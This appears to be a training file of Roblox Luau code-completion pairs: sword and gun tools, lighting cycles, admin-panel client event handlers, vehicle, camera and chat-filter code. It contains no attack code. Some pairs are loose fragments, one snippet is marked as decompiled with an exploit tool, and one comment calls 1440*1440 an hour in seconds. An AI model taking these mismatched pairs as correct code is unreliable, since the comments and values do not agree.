lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tlocal force = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,80,0) \n\tforce.Parent = Tool.Parent.Torso\n\twait(.25)\n\tforce.velocity = (Tool.Parent.Torso.CFrame.lookVector * 140) + Vector3.new(0, 60,0)\n\t--swordOut()\n\twait(.5)\n\tforce.Parent = nil\n\twait(.5)\n\t--swordUp()\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tt = r.Stepped:wait()\n\n\tif (t - last_attack < .2) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "------------- Settings", "completion": "\n\nlocal Lighting = game.Lighting\nlocal TweenService = game:GetService(\"TweenService\")\n\nfunction day()\n\tTweenService:Create(Lighting, TweenInfo.new(Speed), {ClockTime = 12}):Play()\n\tTweenService:Create(Lighting, TweenInfo.new(Speed), {Brightness = 3.05}):Play()\n\tTweenService:Create(Lighting, TweenInfo.new(Speed), {Ambient = Color3.fromRGB(106, 130, 186)}):Play()\n\tTweenService:Create(Lighting, TweenInfo.new(Speed), {ColorShift_Bottom = Color3.fromRGB(0,0,0)}):Play()\nend\n\nfunction night()\n\tTweenService:Create(Lighting, TweenInfo.new(Speed), {ClockTime = 0}):Play()\n\tTweenService:Create(Lighting, TweenInfo.new(Speed), {Brightness = 0.4}):Play()\n\tTweenService:Create(Lighting, TweenInfo.new(Speed), {Ambient = Color3.fromRGB(0,0,0)}):Play()\n\tTweenService:Create(Lighting, TweenInfo.new(Speed), {ColorShift_Bottom = Color3.fromRGB(0,0,0)}):Play()\nend\n\nwhile true do\n\tday()\n\twait(DayDuration60)\n\tnight()\n\twait(NightDuration60)\nend\n"} +{"prompt": "-- << SETUP >>", "completion": "\nfor _,revent in pairs(main.signals:GetChildren()) do\n\tif revent:IsA(\"RemoteEvent\") then\n\t\trevent.OnClientEvent:Connect(function(args)\n\t\t\tif not main.initialized then main.client.Signals.Initialized.Event:Wait() end\n\t\t\t\n\t\t\t---------------------------------------------\n\t\t\tif revent.Name == \"ChangeStat\" then\n\t\t\t\tlocal statName, newValue = args[1], args[2]\n\t\t\t\tmain.pdata[statName] = newValue\n\t\t\t\tif statName == \"Donor\" then\n\t\t\t\t\tmain:GetModule(\"PageSpecial\"):UpdateDonorFrame()\n\t\t\t\tend\n\t\t\t\n\t\t\telseif revent.Name == \"InsertStat\" then\n\t\t\t\tlocal locationName, newValue = args[1], args[2]\n\t\t\t\ttable.insert(main.pdata[locationName], newValue)\n\t\t\t\t\n\t\t\telseif revent.Name == \"RemoveStat\" then\n\t\t\t\tlocal locationName, newValue = args[1], args[2]\n\t\t\t\tfor i,v in pairs(main.pdata[locationName]) do\n\t\t\t\t\tif tostring(v) == tostring(newValue) then\n\t\t\t\t\t\ttable.remove(main.pdata[locationName], i)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\n\t\t\telseif revent.Name == \"Notice\" or revent.Name == \"Error\" then\n\t\t\t\tmain:GetModule(\"Notices\"):Notice(revent.Name, args[1], args[2], args[3])\n\t\t\t\t\t\n\t\t\telseif revent.Name == \"ShowPage\" then\n\t\t\t\tmain:GetModule(\"GUIs\"):ShowSpecificPage(args[1], args[2])\n\t\t\t\t\n\t\t\telseif revent.Name == \"ShowBannedUser\" then\n\t\t\t\tmain:GetModule(\"GUIs\"):ShowSpecificPage(\"Admin\", \"Banland\")\n\t\t\t\tif type(args) == \"table\" then\n\t\t\t\t\tmain:GetModule(\"cf\"):ShowBannedUser(args)\n\t\t\t\tend\n\t\t\t\n\t\t\telseif revent.Name == \"SetCameraSubject\" then\n\t\t\t\tmain:GetModule(\"cf\"):SetCameraSubject(args)\n\t\t\t\t\n\t\t\telseif revent.Name == \"Clear\" then\n\t\t\t\tmain:GetModule(\"Messages\"):ClearMessageContainer()\n\t\t\t\t\n\t\t\telseif revent.Name == \"ShowWarning\" then\n\t\t\t\tmain:GetModule(\"cf\"):ShowWarning(args)\n\t\t\t\n\t\t\telseif revent.Name == \"Message\" then\n\t\t\t\tmain:GetModule(\"Messages\"):Message(args)\n\t\t\t\n\t\t\telseif revent.Name == \"Hint\" then\n\t\t\t\tmain:GetModule(\"Messages\"):Hint(args)\n\t\t\t\t\n\t\t\telseif revent.Name == \"GlobalAnnouncement\" then\n\t\t\t\tmain:GetModule(\"Messages\"):GlobalAnnouncement(args)\n\t\t\t\n\t\t\telseif revent.Name == \"SetCoreGuiEnabled\" then\n\t\t\t\tmain.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[args[1]], args[2])\n\t\t\t\n\t\t\telseif revent.Name == \"CreateLog\" then\n\t\t\t\tmain:GetModule(\"cf\"):CreateNewCommandMenu(args[1], args[2], 5)\n\t\t\t\n\t\t\telseif revent.Name == \"CreateAlert\" then\n\t\t\t\tmain:GetModule(\"cf\"):CreateNewCommandMenu(\"alert\", {args[1], args[2]}, 8, true)\n\t\t\t\n\t\t\telseif revent.Name == \"CreateBanMenu\" then\n\t\t\t\tmain:GetModule(\"cf\"):CreateNewCommandMenu(\"banMenu\", args, 6)\n\t\t\t\n\t\t\telseif revent.Name == \"CreatePollMenu\" then\n\t\t\t\tmain:GetModule(\"cf\"):CreateNewCommandMenu(\"pollMenu\", args, 9)\n\t\t\t\n\t\t\telseif revent.Name == \"CreateMenu\" then\n\t\t\t\tmain:GetModule(\"cf\"):CreateNewCommandMenu(args.MenuName, args.Data, args.TemplateId)\n\t\t\t\n\t\t\telseif revent.Name == \"CreateCommandMenu\" then\n\t\t\t\tlocal title = args[1]\n\t\t\t\tlocal details = args[2]\n\t\t\t\tlocal menuType = args[3]\n\t\t\t\tmain:GetModule(\"cf\"):CreateNewCommandMenu(title, details, menuType)\n\t\t\t\n\t\t\telseif revent.Name == \"RankChanged\" then\n\t\t\t\tmain:GetModule(\"cf\"):UpdateIconVisiblity()\n\t\t\t\tmain:GetModule(\"PageAbout\"):UpdateRankName()\n\t\t\t\tmain:GetModule(\"GUIs\"):DisplayPagesAccordingToRank(true)\n\t\t\t\tif main.initialized then\n\t\t\t\t\tmain:GetModule(\"PageCommands\"):CreateCommands()\n\t\t\t\tend\n\t\t\t\t\n\t\t\telseif revent.Name == \"ExecuteClientCommand\" then\n\t\t\t\tlocal speaker, args, commandName, other = args[1], args[2], args[3], args[4]\n\t\t\t\tlocal unFunction = other.UnFunction\n\t\t\t\tlocal functionType = \"Function\"\n\t\t\t\tif unFunction then\n\t\t\t\t\tfunctionType = \"UnFunction\"\n\t\t\t\tend\n\t\t\t\tlocal clientCommand = main:GetModule(\"ClientCommands\")[commandName]\n\t\t\t\tif clientCommand then\n\t\t\t\t\tlocal Function = clientCommand[functionType]\n\t\t\t\t\tif Function then\n\t\t\t\t\t\tFunction(speaker, args, clientCommand)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\n\t\t\telseif revent.Name == \"ReplicationEffectClientCommand\" then\n\t\t\t\tlocal commandName = args[1]\n\t\t\t\tlocal speaker = args[2]\n\t\t\t\tlocal rArgs = args[3]\n\t\t\t\tlocal clientCommand = main:GetModule(\"ClientCommands\")[commandName]\n\t\t\t\tif clientCommand then\n\t\t\t\t\tlocal replicationEffect = clientCommand.ReplicationEffect\n\t\t\t\t\tif replicationEffect then\n\t\t\t\t\t\treplicationEffect(speaker, rArgs, clientCommand)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\telseif revent.Name == \"ActivateClientCommand\" then\n\t\t\t\tlocal commandName = args[1]\n\t\t\t\tlocal extraDetails = args[2]\n\t\t\t\t--Custom speed\n\t\t\t\tlocal speed = extraDetails and ((extraDetails.Speed ~= 0 and extraDetails.Speed) or nil)\n\t\t\t\tif speed then\n\t\t\t\t\tmain.commandSpeeds[commandName] = speed\n\t\t\t\t\tlocal oldMenu = main.gui:FindFirstChild(\"CommandMenufly\")\n\t\t\t\t\tmain:GetModule(\"cf\"):DestroyCommandMenuFrame(oldMenu)\n\t\t\t\tend\n\t\t\t\t--Deactivate other flight commands \n\t\t\t\tif main.commandSpeeds[commandName] then\n\t\t\t\t\tfor otherCommandName, _ in pairs(main.commandSpeeds) do\n\t\t\t\t\t\tif otherCommandName ~= commandName then\n\t\t\t\t\t\t\tmain:GetModule(\"cf\"):DeactivateCommand(otherCommandName)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t--Activate command\n\t\t\t\tmain.commandsAllowedToUse[commandName] = true\n\t\t\t\tmain:GetModule(\"cf\"):ActivateClientCommand(commandName, extraDetails)\n\t\t\t\t--Setup command menu\n\t\t\t\tlocal menuDetails, menuType\n\t\t\t\tfor menuTypeName, menuCommands in pairs(main.commandsWithMenus) do\n\t\t\t\t\tmenuDetails = menuCommands[commandName]\n\t\t\t\t\tif menuDetails then\n\t\t\t\t\t\tmenuType = tonumber(menuTypeName:match(\"%d+\"))\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif menuDetails then\n\t\t\t\t\tmain:GetModule(\"cf\"):CreateNewCommandMenu(commandName, menuDetails, menuType)\n\t\t\t\tend\n\t\t\t\n\t\t\telseif revent.Name == \"DeactivateClientCommand\" then\n\t\t\t\tmain:GetModule(\"cf\"):DeactivateCommand(args[1])\n\t\t\t\n\t\t\telseif revent.Name == \"FadeInIcon\" then\n\t\t\t\t--[[\n\t\t\t\tlocal topBarFrame = main.gui.CustomTopBar\n\t\t\t\tlocal imageButton = topBarFrame.ImageButton\n\t\t\t\timageButton.ImageTransparency = 1\n\t\t\t\tmain.tweenService:Create(imageButton, TweenInfo.new(1), {ImageTransparency = 0}):Play()\n\t\t\t\t--]]\n\t\t\t\t\n\t\t\telseif revent.Name == \"ChangeMainVariable\" then\n\t\t\t\tmain[args[1]] = args\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\tend\n\t\t\t---------------------------------------------\n\t\t\t\n\t\tend)\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\telseif revent:IsA(\"RemoteFunction\") then\n\t\tfunction revent.OnClientInvoke(args)\n\t\t\tif not main.initialized then main.client.Signals.Initialized.Event:Wait() end\n\t\t\t\n\t\t\t---------------------------------------------\n\t\t\tif revent.Name == \"GetLocalDate\" then\n\t\t\t\treturn os.date(\"*t\", args)\n\t\t\t\t\n\t\t\t\t\n\t\t\tend\n\t\tend\n\t\n\t\n\t\n\t\n\t\n\t\n\tend\nend\n\t\t\t\n\n\n\nreturn module\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1)\n\treturn \"1/\" .. u1.Functions.FormatAbbreviated(1 / p1);\nend;\n"} +{"prompt": "--[[Drivetrain Initialize]]", "completion": "\n\n\tlocal Drive={}\n\t\n\t--Power Front Wheels\n\t--if _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\t\t--for i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\t--if v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\t--table.insert(Drive,v)\n\t\t\t--end\n\t\t--end\n\t--end\n\t\n\t--Power Rear Wheels\n\tif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"RL\" or v.Name==\"RR\" or v.Name==\"R\" then\n\t\t\t\ttable.insert(Drive,v)\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Determine Wheel Size\n\tlocal wDia = 0\n\tfor i,v in pairs(Drive) do\n\t\tif v.Size.x>wDia then wDia = v.Size.x end\n\tend\n\t\n\t--Pre-Toggled PBrake\n\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\tif v[\"#AV\"]:IsA(\"BodyAngularVelocity\") then\n\t\t\tif math.abs(v[\"#AV\"].maxTorque.Magnitude-PBrakeForce)<1 then\n\t\t\t\t_PBrake=true\n\t\t\tend\n\t\telse\n\t\t\tif math.abs(v[\"#AV\"].MotorMaxTorque-PBrakeForce)<1 then\n\t\t\t\t_PBrake=true\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal MouseLockController = {}\nMouseLockController.__index = MouseLockController\n\nfunction MouseLockController.new()\n\tlocal self = setmetatable({}, MouseLockController)\n\n\tself.isMouseLocked = false\n\tself.savedMouseCursor = nil\n\tself.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults\n\n\tself.mouseLockToggledEvent = Instance.new(\"BindableEvent\")\n\n\tlocal boundKeysObj = script:FindFirstChild(\"BoundKeys\")\n\tif (not boundKeysObj) or (not boundKeysObj:IsA(\"StringValue\")) then\n\t\t-- If object with correct name was found, but it's not a StringValue, destroy and replace\n\t\tif boundKeysObj then\n\t\t\tboundKeysObj:Destroy()\n\t\tend\n\n\t\tboundKeysObj = Instance.new(\"StringValue\")\n\t\tboundKeysObj.Name = \"BoundKeys\"\n\t\tboundKeysObj.Value = \"LeftControl\"\n\t\tboundKeysObj.Parent = script\n\tend\n\n\tif boundKeysObj then\n\t\tboundKeysObj.Changed:Connect(function(value)\n\t\t\tself:OnBoundKeysObjectChanged(value)\n\t\tend)\n\t\tself:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call\n\tend\n\n\t-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly\n\tGameSettings.Changed:Connect(function(property)\n\t\tif property == \"ControlMode\" or property == \"ComputerMovementMode\" then\n\t\t\tself:UpdateMouseLockAvailability()\n\t\tend\n\tend)\n\n\t-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly\n\tPlayersService.LocalPlayer:GetPropertyChangedSignal(\"DevEnableMouseLock\"):Connect(function()\n\t\tself:UpdateMouseLockAvailability()\n\tend)\n\n\t-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly\n\tPlayersService.LocalPlayer:GetPropertyChangedSignal(\"DevComputerMovementMode\"):Connect(function()\n\t\tself:UpdateMouseLockAvailability()\n\tend)\n\n\tself:UpdateMouseLockAvailability()\n\n\treturn self\nend\n\nfunction MouseLockController:GetIsMouseLocked()\n\treturn self.isMouseLocked\nend\n\nfunction MouseLockController:GetBindableToggleEvent()\n\treturn self.mouseLockToggledEvent.Event\nend\n\nfunction MouseLockController:GetMouseLockOffset()\n\tlocal offsetValueObj = script:FindFirstChild(\"CameraOffset\")\n\tif offsetValueObj and offsetValueObj:IsA(\"Vector3Value\") then\n\t\treturn offsetValueObj.Value\n\telse\n\t\t-- If CameraOffset object was found but not correct type, destroy\n\t\tif offsetValueObj then\n\t\t\toffsetValueObj:Destroy()\n\t\tend\n\t\toffsetValueObj = Instance.new(\"Vector3Value\")\n\t\toffsetValueObj.Name = \"CameraOffset\"\n\t\toffsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value\n\t\toffsetValueObj.Parent = script\n\tend\n\n\tif offsetValueObj and offsetValueObj.Value then\n\t\treturn offsetValueObj.Value\n\tend\n\n\treturn Vector3.new(1.75,0,0)\nend\n\nfunction MouseLockController:UpdateMouseLockAvailability()\n\tlocal devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock\n\tlocal devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable\n\tlocal userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch\n\tlocal userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove\n\tlocal MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable\n\n\tif MouseLockAvailable~=self.enabled then\n\t\tself:EnableMouseLock(MouseLockAvailable)\n\tend\nend\n\nfunction MouseLockController:OnBoundKeysObjectChanged(newValue)\n\tself.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is \"\" or contains invalid values\n\tfor token in string.gmatch(newValue,\"[^%s,]+\") do\n\t\tfor _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do\n\t\t\tif token == keyEnum.Name then\n\t\t\t\tself.boundKeys[#self.boundKeys+1] = keyEnum\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\tself:UnbindContextActions()\n\tself:BindContextActions()\nend\n"} +{"prompt": "-- An hour in seconds", "completion": "\nlocal RESHOWING_FREQUENCY = 1440*1440\n\n\nfunction calculateShowTimes()\n\tlocal timeUntilNextShow = nil\n\tlocal timeIntoShow = nil\n\tlocal currentTime = DateTime.now().UnixTimestampMillis/1000\n\tlocal timeUntilFirstShow = FIRST_EVER_SHOW - currentTime\n\tif timeUntilFirstShow > 0 then\n\t\ttimeUntilNextShow = timeUntilFirstShow\n\telse\n\t\ttimeUntilNextShow = timeUntilFirstShow % RESHOWING_FREQUENCY\n\t\ttimeIntoShow = RESHOWING_FREQUENCY - timeUntilNextShow\n\tend\n\treturn timeUntilNextShow, timeIntoShow\nend\n\n\nfunction loadPreShowVenue()\n\t-- The PreShowVenue scene length needs to be adjusted to match the time until the next show.\n\tlocal timeUntilNextShow, timeIntoShow = calculateShowTimes()\n\tPSV_SCENE:SetAttribute(\"TimeLength\", timeUntilNextShow)\n\tEventSequencer.loadScene(PSV_SCENE.Name)\nend\n\n"} +{"prompt": "--if tool then\n--\tlocal handle = tool:FindFirstChild(\"Handle\")\n--\tlocal toolCopy = tool:Clone()\n--\ttoolCopy.Parent = game.ServerStorage\n--\tlocal toolOnPad = true\t\n--\t\n--\tlocal parentConnection\n--\tparentConnection = tool.AncestryChanged:connect(function()\n--\t\tif handle then handle.Anchored = false end\n--\t\ttoolOnPad = false\n--\t\tparentConnection:disconnect()\n--\tend)\n--\t\n--\tif handle then\n--\t\thandle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)\n--\t\thandle.Anchored = true\n--\tend\n--\t\n--\twhile true do\n--\t\twhile toolOnPad do\n--\t\t\tif handle then\n--\t\t\t\thandle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)\n--\t\t\tend\n--\t\t\twait()\n--\t\tend\n--\t\twait(configs[\"SpawnCooldown\"])\n--\t\tlocal newTool = toolCopy:Clone()\n--\t\tnewTool.Parent = game.Workspace\n--\t\thandle = newTool:FindFirstChild(\"Handle\")\n--\t\ttoolOnPad = true\n--\tend\n--end", "completion": "\n"} +{"prompt": "------------------------------------------------------------------------\n-- move on to next line\n------------------------------------------------------------------------", "completion": "\nfunction luaX:currIsNewline(ls)\n return ls.current == \"\\n\" or ls.current == \"\\r\"\nend\n\nfunction luaX:inclinenumber(ls)\n local old = ls.current\n -- lua_assert(currIsNewline(ls))\n self:nextc(ls) -- skip '\\n' or '\\r'\n if self:currIsNewline(ls) and ls.current ~= old then\n self:nextc(ls) -- skip '\\n\\r' or '\\r\\n'\n end\n ls.linenumber = ls.linenumber + 1\n if ls.linenumber >= self.MAX_INT then\n self:syntaxerror(ls, \"chunk has too many lines\")\n end\nend\n"} +{"prompt": "--Function For Making New Ray Bricks", "completion": "\nfunction makeRay(cframe, size)\n\tlocal p\t\t\t\t\t\t= Instance.new(\"Part\")\n\tp.Name\t\t\t\t\t\t= \"RayPart\"\n\tp.BrickColor\t\t\t\t= BrickColor.new(\"Bright red\")\n\tp.Transparency\t\t\t\t= 0.5\n\tp.Anchored\t\t\t\t\t= true\n\tp.CanCollide\t\t\t\t= false\n\tp.TopSurface\t\t\t\t= Enum.SurfaceType.Smooth\n\tp.BottomSurface\t\t\t\t= Enum.SurfaceType.Smooth\n\tp.formFactor\t\t\t\t= Enum.FormFactor.Custom\n\tp.CFrame\t\t\t\t\t= cframe\n\tp.Size\t\t\t\t\t\t= size\n\tp.Parent\t\t\t\t\t= m\n\tignoreList[#ignoreList+1]\t= p\nend\n\n\t\tlocal flash = parts.Parent.Gun.Muzzle:clone()\n\t\t\n\t \n\t\tflash.Parent = game.Workspace\n\t\t\n\t\t\n\t\tflash.Anchored = true\n\n\t\tparts.Parent.Gun.Muzzle.Sound:Play();\n\t\tlocal FL\t\t\t\t= flash.PointLight:clone()\n\t\tFL.Parent\t\t\t\t= flash\n\t\tFL.Enabled = true\n\t\tlocal Flashy = flash.Flash:clone()\n\t\tFlashy.Parent = flash\n\t\tFlashy.Enabled = true\n\t\tgame.Debris:AddItem(FL, .07)\n\t\tgame.Debris:AddItem(Flashy, 2)\n\t\tgame.Debris:AddItem(flash, .08)\n\nround\t\t\t\t\t= Instance.new(\"Part\", user)\nround.Name\t\t\t\t= \"RayPart\"\nround.Transparency\t\t= 0\nround.Anchored\t\t\t= true\nround.CanCollide\t\t= true\nround.TopSurface\t\t= Enum.SurfaceType.Smooth\nround.BottomSurface\t\t= Enum.SurfaceType.Smooth\nround.Material\t\t\t= Enum.Material.Neon\nround.formFactor\t\t= Enum.FormFactor.Custom\nround.BrickColor\t\t= BrickColor.new(\"Daisy orange\")\nyOffset\t\t\t\t\t= -0.2\n\nlocal PL\t\t\t\t= Instance.new(\"PointLight\")\nPL.Parent\t\t\t\t= round\nPL.Brightness\t\t\t= 50\nPL.Color\t\t\t\t= Color3.new(255, 255, 0)\nPL.Range\t\t\t\t= 10\nPL.Shadows\t\t\t\t= true\n\n"} +{"prompt": "-- Roact", "completion": "\nlocal new = Roact.createElement\nlocal HotkeyTooltip = require(script.Parent:WaitForChild 'HotkeyTooltip')\n"} +{"prompt": "--[[\n\nhave all the edits only on the client until the client is done\nthen send fire the remote event once with all the changes\ninstead of per accessory.\ntoo lazy to change. adopt me does it 1 by 1 soo...\n\n]]", "completion": "\n\nlocal Players = game:GetService(\"Players\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")"} +{"prompt": "--// Connections", "completion": "\nL_108_.OnClientEvent:connect(function(L_191_arg1, L_192_arg2, L_193_arg3, L_194_arg4, L_195_arg5, L_196_arg6, L_197_arg7)\n\tif L_191_arg1 and not L_15_ then\n\t\tMakeFakeArms()\n\t\t\n\t\tL_42_ = L_2_.PlayerGui.MainGui\n\t\tL_26_ = L_42_:WaitForChild('Others')\n\t\tL_27_ = L_26_:WaitForChild('Kill')\n\t\tL_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')\n\t\tL_29_ = L_28_:WaitForChild('Ammo')\n\t\tL_30_ = L_28_:WaitForChild('AmmoBackground')\n\t\tL_31_ = L_28_:WaitForChild('MagCount')\n\t\tL_32_ = L_28_:WaitForChild('MagCountBackground')\n\t\tL_33_ = L_28_:WaitForChild('DistDisp')\n\t\tL_34_ = L_28_:WaitForChild('Title')\n\t\tL_35_ = L_28_:WaitForChild('Mode1')\n\t\tL_36_ = L_28_:WaitForChild('Mode2')\n\t\tL_37_ = L_28_:WaitForChild('Mode3')\n\t\tL_38_ = L_28_:WaitForChild('Mode4')\n\t\tL_39_ = L_28_:WaitForChild('Mode5')\n\t\tL_40_ = L_28_:WaitForChild('Stances')\n\t\tL_41_ = L_42_:WaitForChild('Shading')\n\t\tL_41_.Visible = false\n\t\t\n\t\tL_34_.Text = L_1_.Name\n\t\tUpdateAmmo()\n\t\t\n\t\tL_43_ = L_192_arg2\n\t\tL_44_ = L_193_arg3\n\t\tL_45_ = L_194_arg4\n\t\tL_46_ = L_195_arg5\n\t\tL_47_ = L_196_arg6\n\t\tL_48_ = L_197_arg7\t\n\t\tL_49_ = L_62_.Bolt\n\t\t\n\t\tL_87_ = L_48_.C1\n\t\tL_88_ = L_48_.C0\n\t\t\n\t\tif L_1_:FindFirstChild('AimPart2') then\n\t\t\tL_57_ = L_1_:WaitForChild('AimPart2')\n\t\tend\n\t\t\n\t\tif L_1_:FindFirstChild('FirePart2') then\n\t\t\tL_60_ = L_1_.FirePart2\n\t\tend\n\t\t\n\t\tif L_24_.FirstPersonOnly then\n\t\t\tL_2_.CameraMode = Enum.CameraMode.LockFirstPerson\n\t\tend\n\t\t--uis.MouseIconEnabled = false\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = true\n\telseif L_15_ then\n\t\tif L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then\n\t\t\tStand()\n\t\t\tUnlean()\n\t\tend\t\n\t\t\n\t\tL_93_ = 0\n\t\tL_80_ = false\n\t\tL_81_ = false\n\t\tL_82_ = false\n\t\tL_64_ = false\n\t\tL_67_ = false\n\t\tL_66_ = false\n\t\tShooting = false\n\t\t\n\t\tL_97_ = 70\n\t\t\n\t\tRemoveArmModel()\n\t\t\n\t\tL_42_:Destroy()\t\n\t\t\n\t\tfor L_198_forvar1, L_199_forvar2 in pairs(IgnoreList) do\n\t\t\tif L_199_forvar2 ~= L_3_ and L_199_forvar2 ~= L_5_ and L_199_forvar2 ~= L_101_ then\n\t\t\t\ttable.remove(IgnoreList, L_198_forvar1)\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 0\n\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 0\n\t\tend\t\n\n\t\tL_78_ = false\n\t\tL_69_ = true\n\t\t\n\t\tL_2_.CameraMode = Enum.CameraMode.Classic\n\t\tL_107_.MouseIconEnabled = true\t\t\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = false\n\t\tL_107_.MouseDeltaSensitivity = L_52_\n\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=0\"\n\t\tL_15_ = false\n\t\tL_4_.TargetFilter = nil\n\tend\nend)\n"} +{"prompt": "--Edited by Stickmasterluke", "completion": "\nlocal p = game.Players.LocalPlayer\nlocal c = game.Workspace:WaitForChild(p.Name)\nlocal m = p:GetMouse()\nTool=script.Parent\nlocal part = Instance.new(\"Part\")\npart.CanCollide = false\npart.Transparency = 1\npart.Name = \"Aim\"\npart.Anchored = true\npart.Size = Vector3.new(.1,.1,.1)\npart.CFrame = c.Torso.CFrame*CFrame.new(0,0,0)\npart.Parent = c.Torso\ndelay(0,function()\n\twhile wait(0.1) do\n\t\tpart.CFrame = c.Torso.CFrame*CFrame.new(0,0,-3)\n\t\tpart.CFrame = CFrame.new(part.Position, m.Hit.p)\n\tend\nend)\n\nenabled = true\nfunction onButton1Down(mouse)\n\tif not enabled then\n\t\treturn\n\tend\n\n\tenabled = false\n\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\n\twait(.5)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tenabled = true\n\nend\n\nfunction onEquippedLocal(mouse)\n\tif mouse == nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\t\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\nend\n\n\nTool.Equipped:connect(onEquippedLocal)\n"} +{"prompt": "--!strict", "completion": "\nlocal console = require(script.Parent.console)\n"} +{"prompt": "--///////////////// Internal-Use Methods\n--//////////////////////////////////////\n--DO NOT REMOVE THIS. Chat must be filtered or your game will face\n--moderation.", "completion": "\nfunction methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG\n\tif (RunService:IsServer() and not RunService:IsStudio()) then\n\t\tlocal fromSpeaker = self:GetSpeaker(speakerName)\n\t\tlocal toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName)\n\n\t\tif fromSpeaker == nil then\n\t\t\treturn nil\n\t\tend\n\n\t\tlocal fromPlayerObj = fromSpeaker:GetPlayer()\n\t\tlocal toPlayerObj = toSpeaker and toSpeaker:GetPlayer()\n\n\t\tif fromPlayerObj == nil then\n\t\t\treturn message\n\t\tend\n\n\t\tif allSpaces(message) then\n\t\t\treturn message\n\t\tend\n\n\t\tlocal filterStartTime = tick()\n\t\tlocal filterRetries = 0\n\t\twhile true do\n\t\t\tlocal success, message = pcall(function()\n\t\t\t\tif toPlayerObj then\n\t\t\t\t\treturn Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj)\n\t\t\t\telse\n\t\t\t\t\treturn Chat:FilterStringForBroadcast(message, fromPlayerObj)\n\t\t\t\tend\n\t\t\tend)\n\t\t\tif success 